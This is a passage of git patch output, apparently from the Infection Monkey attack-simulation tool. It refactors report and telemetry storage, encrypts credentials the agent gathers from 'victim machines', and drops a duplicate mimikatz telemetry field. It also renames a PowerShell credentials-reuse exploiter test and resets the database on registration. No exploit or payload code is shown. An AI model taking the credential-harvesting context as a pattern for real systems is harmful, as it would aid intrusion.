+ char with the unicode + ,,, combo instead. + :return: dict with formatted keys with no dots. + """ + report_as_json = json_util.dumps(report_dict).replace(".", ",,,") + return json_util.loads(report_as_json) + + +def _decode_dot_char_before_mongo_insert(report_dict): + """ + this function replaces the ',,,' combo with the '.' char instead. + :return: report dict with formatted keys (',,,' -> '.') + """ + report_as_json = json_util.dumps(report_dict).replace(",,,", ".") + return json_util.loads(report_as_json) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 17e6ce037..d0ac2939f 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -14,7 +14,8 @@ from common.config_value_paths import ( from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo -from monkey_island.cc.models import Monkey, Report +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.report import get_report, save_report from monkey_island.cc.models.telemetries import get_telemetry_by_query from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.configuration.utils import ( @@ -635,7 +636,7 @@ class ReportService: "meta_info": {"latest_monkey_modifytime": monkey_latest_modify_time}, } ReportExporterManager().export(report) - Report.save_report(report) + save_report(report) return report @staticmethod @@ -697,4 +698,4 @@ class ReportService: if not ReportService.is_latest_report_exists(): return safe_generate_regular_report() - return Report.get_report() + return get_report() From d79892427b4d2f732d50545b160c9ffdfbb49aa1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 28 Sep 2021 10:59:04 +0300 Subject: [PATCH 257/454] Moved credential encryption in mongo CHANGELOG.md entry from Fixes to Security --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 003d425c8..a151cbf17 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -46,6 +46,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Security - Generate a random password when creating a new user for CommunicateAsNewUser PBA. #1434 +- Credentials gathered from victim machines are no longer stored plaintext in the database. #1454 + ## [1.11.0] - 2021-08-13 ### Added From 8b9ddb0c4bfc9929520850a563543667a116d819 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 28 Sep 2021 11:00:14 +0300 Subject: [PATCH 258/454] Removed unnecessary vulture ignores from whitelist --- vulture_allowlist.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index d58d4ea9b..bab90e90d 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -4,7 +4,6 @@ dead or is kept deliberately. Referencing these in a file like this makes sure t Vulture doesn't mark these as dead again. """ from monkey_island.cc.models import Report -from monkey_island.cc.models.telemetries import Telemetry fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -182,9 +181,6 @@ Report.recommendations Report.glance Report.meta_info Report.meta -Report.save_report -Telemetry.save_telemetry -Telemetry.get_telemetry_by_query # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 27e2969e79fc3c1ba4177234e0871c2ad3e2e72a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 27 Sep 2021 17:26:28 +0300 Subject: [PATCH 259/454] Remove the unnecessary "mimikatz" info from telemetry data since the exact same data is stored under "credentials" key --- monkey/infection_monkey/system_info/windows_info_collector.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 8051098d0..ffc720dff 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -47,7 +47,6 @@ class WindowsInfoCollector(InfoCollector): if credentials: if "credentials" in self.info: self.info["credentials"].update(credentials) - self.info["mimikatz"] = credentials logger.info("Mimikatz info gathered successfully") else: logger.info("No mimikatz info was gathered") From d240427ce239666fe104f2eab464e2325fde773a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 28 Sep 2021 13:09:06 +0300 Subject: [PATCH 260/454] Remove mimikatz field from sensitive fields in telemetries since telemetries no longer contain such key --- monkey/monkey_island/cc/models/telemetries/telemetry_dal.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py index c036c5776..d6425238f 100644 --- a/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py +++ b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py @@ -13,10 +13,7 @@ from monkey_island.cc.server_utils.encryption import ( encrypt_dict, ) -sensitive_fields = [ - SensitiveField("data.credentials", MimikatzResultsEncryptor), - SensitiveField("data.mimikatz", MimikatzResultsEncryptor), -] +sensitive_fields = [SensitiveField("data.credentials", MimikatzResultsEncryptor)] def save_telemetry(telemetry_dict: dict): From 449fe7517ea8dcb1258a1c630f1d39ff3c267f11 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Sep 2021 16:21:19 +0200 Subject: [PATCH 261/454] Agent: Changed proxy schema --- monkey/infection_monkey/control.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 7c9a5769a..7b8f46f81 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -35,6 +35,8 @@ PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" # elsewhere. TIMEOUT_IN_SECONDS = 15 +PROXY_SCHEMA = "%s:%s" + class ControlClient(object): proxies = {} @@ -113,7 +115,7 @@ class ControlClient(object): if proxy_find: proxy_address, proxy_port = proxy_find logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) - ControlClient.proxies["https"] = "https://%s:%s" % (proxy_address, proxy_port) + ControlClient.proxies["https"] = PROXY_SCHEMA % (proxy_address, proxy_port) return ControlClient.find_server() else: logger.info("No tunnel found") From a438f3afb02e266576b812c61861cea3261ec12a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Sep 2021 16:42:16 +0200 Subject: [PATCH 262/454] Zoo: Replace --os with --skip-powershell-reuse With this logic the powershell cached will run if we don't provide the cli param --skip-powershell-reuse. --- ...als.py => powershell_credentials_reuse.py} | 2 +- envs/monkey_zoo/blackbox/conftest.py | 25 +++++++------------ envs/monkey_zoo/blackbox/test_blackbox.py | 13 +++++----- 3 files changed, 16 insertions(+), 24 deletions(-) rename envs/monkey_zoo/blackbox/config_templates/{powershell_cached_credentials.py => powershell_credentials_reuse.py} (93%) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell_cached_credentials.py b/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py similarity index 93% rename from envs/monkey_zoo/blackbox/config_templates/powershell_cached_credentials.py rename to envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py index c8a40f94b..d6113dc15 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell_cached_credentials.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py @@ -4,7 +4,7 @@ from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class PowerShellCachedCredentials(ConfigTemplate): +class PowerShellCredentialsReuse(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_values.update( diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py index 946e9c036..82c6d3d9a 100644 --- a/envs/monkey_zoo/blackbox/conftest.py +++ b/envs/monkey_zoo/blackbox/conftest.py @@ -28,10 +28,10 @@ def pytest_addoption(parser): help="If enabled performance tests will be run.", ) parser.addoption( - "--os", - action="store", - default=None, - help="Use to run Windows or Linux specific tests.", + "--skip-powershell-reuse", + action="store_true", + default=False, + help="Use to run PowerShell credentials reuse test.", ) @@ -58,17 +58,10 @@ def pytest_runtest_setup(item): "Skipping performance test because " "--run-performance-tests flag isn't specified." ) - if not item.config.getoption("--os"): + if "skip_powershell_reuse" in item.keywords and item.config.getoption( + "--skip-powershell-reuse" + ): pytest.skip( - "Skipping OS specific test because" - "--os flag isn't specified." - " Specify --os with windows or linux as options." - ) - - os = [mark.args[0] for mark in item.iter_markers(name="os")] - - if os and item.config.getoption("--os") not in os: - pytest.skip( - f'Skipping OS specific test. Run with "--os={os[0]}" if ' - f"you want this test to be executed." + "Skipping powershell credentials reuse test because " + "--skip-powershell-cached flag isn't specified." ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 153f995b9..cc4d6ba97 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -14,8 +14,8 @@ from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell -from envs.monkey_zoo.blackbox.config_templates.powershell_cached_credentials import ( - PowerShellCachedCredentials, +from envs.monkey_zoo.blackbox.config_templates.powershell_credentials_reuse import ( + PowerShellCredentialsReuse, ) from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz @@ -55,7 +55,6 @@ MACHINE_BOOTUP_WAIT_SECONDS = 30 LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) LOGGER = logging.getLogger(__name__) -WINDOWS = "windows" @pytest.fixture(autouse=True, scope="session") @@ -170,12 +169,12 @@ class TestMonkeyBlackbox: island_client, PowerShell, "PowerShell_Remoting_exploiter" ) - @pytest.mark.os(WINDOWS) - def test_powershell_exploiter_cached_credentials(self, island_client): + @pytest.mark.skip_powershell_reuse + def test_powershell_exploiter_credentials_reuse(self, island_client): TestMonkeyBlackbox.run_exploitation_test( island_client, - PowerShellCachedCredentials, - "PowerShell_Remoting_exploiter_cached_credentials", + PowerShellCredentialsReuse, + "PowerShell_Remoting_exploiter_credentials_reuse", ) def test_smb_and_mimikatz_exploiters(self, island_client): From 3cbeb3dbf77d196be7f10085fc4bcef8712bff36 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Sep 2021 13:51:20 +0530 Subject: [PATCH 263/454] island: Add attack mitigations to mongo upon registration --- .../monkey_island/cc/resources/auth/registration.py | 11 +++++++++++ monkey/monkey_island/cc/server_setup.py | 3 --- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 121b03d71..61a04b2d8 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -1,4 +1,5 @@ import json +import logging import flask_restful from flask import make_response, request @@ -7,6 +8,9 @@ import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.resources.auth.password_utils as password_utils from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError from monkey_island.cc.environment.user_creds import UserCreds +from monkey_island.cc.setup.mongo.database_initializer import init_collections + +logger = logging.getLogger(__name__) class Registration(flask_restful.Resource): @@ -18,9 +22,16 @@ class Registration(flask_restful.Resource): try: env_singleton.env.try_add_user(credentials) + init_collections() return make_response({"error": ""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: return make_response({"error": str(e)}, 400) + except Exception as ex: + logger.error( + "Exception raised during registration; most likely an issue with the " + f"mongo collection's initialisation. Exception: {str(ex)}." + ) + return make_response({"error": str(ex)}, 400) def _get_user_credentials_from_request(request): diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index a4e4da485..69ab0437a 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -36,7 +36,6 @@ from monkey_island.cc.setup import island_config_options_validator # noqa: E402 from monkey_island.cc.setup.gevent_hub_error_handler import GeventHubErrorHandler # noqa: E402 from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 from monkey_island.cc.setup.mongo import mongo_setup # noqa: E402 -from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess # noqa: E402 logger = logging.getLogger(__name__) @@ -131,8 +130,6 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) populate_exporter_list() app = init_app(mongo_setup.MONGO_URL) - init_collections() - if should_setup_only: logger.warning("Setup only flag passed. Exiting.") return From 194e244080ba2ac74afcfd78b6912bc63c41b6a6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Sep 2021 13:52:21 +0530 Subject: [PATCH 264/454] island: On login, check if collection 'attack_mitigations' is present in DB, add if not --- monkey/monkey_island/cc/resources/auth/auth.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 064395eaf..98408c05c 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -11,6 +11,9 @@ from jwt import PyJWTError import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.resources.auth.password_utils as password_utils import monkey_island.cc.resources.auth.user_store as user_store +from monkey_island.cc.database import mongo +from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations +from monkey_island.cc.setup.mongo.database_initializer import init_collections logger = logging.getLogger(__name__) @@ -42,6 +45,7 @@ class Authenticate(flask_restful.Resource): if _credentials_match_registered_user(username, password): access_token = _create_access_token(username) + _check_attack_mitigations_in_mongo() return make_response({"access_token": access_token, "error": ""}, 200) else: return make_response({"error": "Invalid credentials"}, 401) @@ -74,6 +78,11 @@ def _create_access_token(username): return access_token +def _check_attack_mitigations_in_mongo(): + if AttackMitigations.COLLECTION_NAME not in mongo.db.list_collection_names(): + init_collections() + + # See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/ def jwt_required(fn): @wraps(fn) From 340dd1f94b1ba6572e3edd3f62fb9a49c4307bef Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Sep 2021 14:32:02 +0530 Subject: [PATCH 265/454] island: Drop mongo db if registration is required --- monkey/monkey_island/cc/resources/auth/registration.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 61a04b2d8..ad4ce796a 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -7,6 +7,7 @@ from flask import make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.resources.auth.password_utils as password_utils from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError +from monkey_island.cc.database import mongo from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.setup.mongo.database_initializer import init_collections @@ -21,6 +22,8 @@ class Registration(flask_restful.Resource): credentials = _get_user_credentials_from_request(request) try: + # if new registration is required (credentials are reset), drop previous user's data + _drop_mongo_db() env_singleton.env.try_add_user(credentials) init_collections() return make_response({"error": ""}, 200) @@ -42,3 +45,7 @@ def _get_user_credentials_from_request(request): password_hash = password_utils.hash_password(password) return UserCreds(username, password_hash) + + +def _drop_mongo_db(): + mongo.db.command("dropDatabase") From 6fe4d6cb31f769bff492f0f270e994c920d41284 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Sep 2021 14:36:55 +0530 Subject: [PATCH 266/454] island: Drop mongo db when registartion requirement is realised instead of when registration request is sent The issue with this whole change is that there's a long gap where nothing happens after you click on the log in or register button on the UI. But we don't need to worry about this because we plan on shipping Island's mongodb with attack mitigations already present. --- monkey/monkey_island/cc/resources/auth/registration.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index ad4ce796a..92fca24c9 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -16,14 +16,16 @@ logger = logging.getLogger(__name__) class Registration(flask_restful.Resource): def get(self): - return {"needs_registration": env_singleton.env.needs_registration()} + is_registration_needed = env_singleton.env.needs_registration() + if is_registration_needed: + # if registration is required, drop previous user's data (for credentials reset case) + _drop_mongo_db() + return {"needs_registration": is_registration_needed} def post(self): credentials = _get_user_credentials_from_request(request) try: - # if new registration is required (credentials are reset), drop previous user's data - _drop_mongo_db() env_singleton.env.try_add_user(credentials) init_collections() return make_response({"error": ""}, 200) From 1e02ab6d2b2ec2bb9e8d0839d5dd0dde65e8336c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Sep 2021 13:18:27 +0530 Subject: [PATCH 267/454] docs: Add warning that DB will be cleared if creds are reset --- docs/content/FAQ/_index.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index a02b5b32d..7d3701d65 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -56,6 +56,12 @@ When you first access the Monkey Island server, you'll be prompted to create an To reset the credentials, edit the `server_config.json` file manually (located in the [data directory](/reference/data_directory)). +{{% notice warning %}} +If you reset the credentials, the database will be cleared. Any findings of the Infection Monkey from previous runs will be lost.

    +However, you can save the Monkey's exisiting configuration by logging in with your current credentials and clicking on the **Export config** button on the configuration page. +{{% /notice %}} + + In order to reset the credentials, the following edits need to be made: 1. Delete the `user` field. It will look like this: ```json From 2cbaf954e13a12e7c7ae632dfab9eeaaba5b5e58 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Sep 2021 13:19:00 +0530 Subject: [PATCH 268/454] docs: Fix spelling mistake --- docs/content/FAQ/_index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 7d3701d65..bec25b6b6 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -58,7 +58,7 @@ To reset the credentials, edit the `server_config.json` file manually {{% notice warning %}} If you reset the credentials, the database will be cleared. Any findings of the Infection Monkey from previous runs will be lost.

    -However, you can save the Monkey's exisiting configuration by logging in with your current credentials and clicking on the **Export config** button on the configuration page. +However, you can save the Monkey's existing configuration by logging in with your current credentials and clicking on the **Export config** button on the configuration page. {{% /notice %}} From ab7872d1031e1abfd9fb1307b306f323163ccd19 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Sep 2021 13:34:58 +0530 Subject: [PATCH 269/454] CHANGELOG: Add entry for delaying mongo init --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9d9457f92..beee97d9c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - The name of the "Communicate as new user" post-breach action to "Communicate as backdoor user". #1410 - ATT&CK report messages (more accurate now). #1483 +- Initialise MongoDB collection of attack mitigations after registration or login (if required) + instead of on Island startup. #1495 ### Removed - Internet access check on agent start. #1402 From b73958dd5539059a01f54a62c1d46611ad5e8de6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 29 Sep 2021 12:18:57 +0300 Subject: [PATCH 270/454] Rename the CHANGELOG.md entry about resetting login credentials to "Resetting login credentials also cleans the contents of the database. #1495" --- CHANGELOG.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index beee97d9c..69408a7fc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,9 +14,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed - The name of the "Communicate as new user" post-breach action to "Communicate as backdoor user". #1410 +- Resetting login credentials also cleans the contents of the database. #1495 - ATT&CK report messages (more accurate now). #1483 -- Initialise MongoDB collection of attack mitigations after registration or login (if required) - instead of on Island startup. #1495 ### Removed - Internet access check on agent start. #1402 From c211d51d8caa29de4a7a5c8d9ed98d9cafd71b2c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 29 Sep 2021 16:41:08 +0300 Subject: [PATCH 271/454] Move database reset to happen during the registration --- monkey/monkey_island/cc/resources/auth/auth.py | 9 --------- .../cc/resources/auth/registration.py | 18 ++---------------- monkey/monkey_island/cc/services/database.py | 4 ++++ .../cc/setup/mongo/database_initializer.py | 9 ++++++--- 4 files changed, 12 insertions(+), 28 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 98408c05c..064395eaf 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -11,9 +11,6 @@ from jwt import PyJWTError import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.resources.auth.password_utils as password_utils import monkey_island.cc.resources.auth.user_store as user_store -from monkey_island.cc.database import mongo -from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations -from monkey_island.cc.setup.mongo.database_initializer import init_collections logger = logging.getLogger(__name__) @@ -45,7 +42,6 @@ class Authenticate(flask_restful.Resource): if _credentials_match_registered_user(username, password): access_token = _create_access_token(username) - _check_attack_mitigations_in_mongo() return make_response({"access_token": access_token, "error": ""}, 200) else: return make_response({"error": "Invalid credentials"}, 401) @@ -78,11 +74,6 @@ def _create_access_token(username): return access_token -def _check_attack_mitigations_in_mongo(): - if AttackMitigations.COLLECTION_NAME not in mongo.db.list_collection_names(): - init_collections() - - # See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/ def jwt_required(fn): @wraps(fn) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 92fca24c9..12c17d6e5 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -7,9 +7,8 @@ from flask import make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.resources.auth.password_utils as password_utils from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError -from monkey_island.cc.database import mongo from monkey_island.cc.environment.user_creds import UserCreds -from monkey_island.cc.setup.mongo.database_initializer import init_collections +from monkey_island.cc.setup.mongo.database_initializer import reset_database logger = logging.getLogger(__name__) @@ -17,9 +16,6 @@ logger = logging.getLogger(__name__) class Registration(flask_restful.Resource): def get(self): is_registration_needed = env_singleton.env.needs_registration() - if is_registration_needed: - # if registration is required, drop previous user's data (for credentials reset case) - _drop_mongo_db() return {"needs_registration": is_registration_needed} def post(self): @@ -27,16 +23,10 @@ class Registration(flask_restful.Resource): try: env_singleton.env.try_add_user(credentials) - init_collections() + reset_database() return make_response({"error": ""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: return make_response({"error": str(e)}, 400) - except Exception as ex: - logger.error( - "Exception raised during registration; most likely an issue with the " - f"mongo collection's initialisation. Exception: {str(ex)}." - ) - return make_response({"error": str(ex)}, 400) def _get_user_credentials_from_request(request): @@ -47,7 +37,3 @@ def _get_user_credentials_from_request(request): password_hash = password_utils.hash_password(password) return UserCreds(username, password_hash) - - -def _drop_mongo_db(): - mongo.db.command("dropDatabase") diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index d0656f946..afd4ecc02 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -37,3 +37,7 @@ class Database(object): def init_db(): if not mongo.db.collection_names(): Database.reset_db() + + @staticmethod + def is_mitigations_missing() -> bool: + return bool(AttackMitigations.COLLECTION_NAME not in mongo.db.list_collection_names()) diff --git a/monkey/monkey_island/cc/setup/mongo/database_initializer.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py index 34914c7ce..72d7bec7d 100644 --- a/monkey/monkey_island/cc/setup/mongo/database_initializer.py +++ b/monkey/monkey_island/cc/setup/mongo/database_initializer.py @@ -5,13 +5,16 @@ from pymongo import errors from monkey_island.cc.database import mongo from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface +from monkey_island.cc.services.database import Database logger = logging.getLogger(__name__) -def init_collections(): - logger.info("Setting up the Monkey Island, this might take a while...") - _try_store_mitigations_on_mongo() +def reset_database(): + Database.reset_db() + if Database.is_mitigations_missing(): + logger.info("Populating Monkey Island with ATT&CK mitigations, this might take a while...") + _try_store_mitigations_on_mongo() def _try_store_mitigations_on_mongo(): From 579ebf4a0f1c62067471c53e4e09307cd5cb17ae Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 29 Sep 2021 16:43:24 +0300 Subject: [PATCH 272/454] Alter registration page to show loading icon while registration request is being processed --- .../cc/ui/src/components/pages/RegisterPage.js | 9 ++++++++- .../monkey_island/cc/ui/src/styles/pages/AuthPage.scss | 8 ++++++++ 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index 55a5fcebf..596a86f5a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -4,11 +4,13 @@ import {Row, Col, Container, Form, Button} from 'react-bootstrap'; import AuthService from '../../services/AuthService'; import monkeyDetective from '../../images/detective-monkey.svg'; import ParticleBackground from '../ui-components/ParticleBackground'; +import LoadingIcon from '../ui-components/LoadingIcon'; class RegisterPageComponent extends React.Component { register = (event) => { event.preventDefault(); + this.setState({loading: true}) this.auth.register(this.username, this.password).then(res => { this.setState({failed: false, error: ''}); if (res['result']) { @@ -68,7 +70,12 @@ class RegisterPageComponent extends React.Component { this.updateUsername(evt)} type='text' placeholder='Username'/> this.updatePassword(evt)} type='password' placeholder='Password'/>
    diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss index 80bd54507..3392fcee7 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss @@ -35,3 +35,11 @@ margin-bottom: 20px; text-align: center; } + +.auth-container .monkey-submit-button:hover .loading-icon { + color: $monkey-black; +} + +.auth-container .monkey-submit-button:focus .loading-icon { + color: $monkey-black; +} From 7939ed47393dc771cae3f047ee7fd59a0c8bcc1b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 29 Sep 2021 17:02:34 +0300 Subject: [PATCH 273/454] Alter the log message talking about storing the mitigations: remove the part saying that it will take a while --- monkey/monkey_island/cc/setup/mongo/database_initializer.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/setup/mongo/database_initializer.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py index 72d7bec7d..32e3c8486 100644 --- a/monkey/monkey_island/cc/setup/mongo/database_initializer.py +++ b/monkey/monkey_island/cc/setup/mongo/database_initializer.py @@ -13,7 +13,7 @@ logger = logging.getLogger(__name__) def reset_database(): Database.reset_db() if Database.is_mitigations_missing(): - logger.info("Populating Monkey Island with ATT&CK mitigations, this might take a while...") + logger.info("Populating Monkey Island with ATT&CK mitigations.") _try_store_mitigations_on_mongo() From 191fbea66554df545a69790b1fbab27e6a9320fa Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 30 Sep 2021 10:10:20 +0300 Subject: [PATCH 274/454] Refactor password based encryptor into PasswordBasedStringEncryptor and PasswordBasedByteEncryptor This change allows to encrypt strings and bytes without any additional conversion done on the caller --- .../cc/resources/configuration_export.py | 4 +- .../cc/resources/configuration_import.py | 4 +- .../cc/server_utils/encryption/__init__.py | 7 ++-- ...n.py => password_based_byte_encryption.py} | 31 +++++---------- .../password_based_string_encryption.py | 38 +++++++++++++++++++ .../cc/resources/test_configuration_import.py | 4 +- .../test_password_based_encryption.py | 13 ++++--- 7 files changed, 64 insertions(+), 37 deletions(-) rename monkey/monkey_island/cc/server_utils/encryption/{password_based_encryption.py => password_based_byte_encryption.py} (64%) create mode 100644 monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryption.py diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py index c550acc7d..111cfa177 100644 --- a/monkey/monkey_island/cc/resources/configuration_export.py +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -4,7 +4,7 @@ import flask_restful from flask import request from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.server_utils.encryption import PasswordBasedEncryptor +from monkey_island.cc.server_utils.encryption import PasswordBasedStringEncryptor from monkey_island.cc.services.config import ConfigService @@ -21,7 +21,7 @@ class ConfigurationExport(flask_restful.Resource): password = data["password"] plaintext_config = json.dumps(plaintext_config) - pb_encryptor = PasswordBasedEncryptor(password) + pb_encryptor = PasswordBasedStringEncryptor(password) config_export = 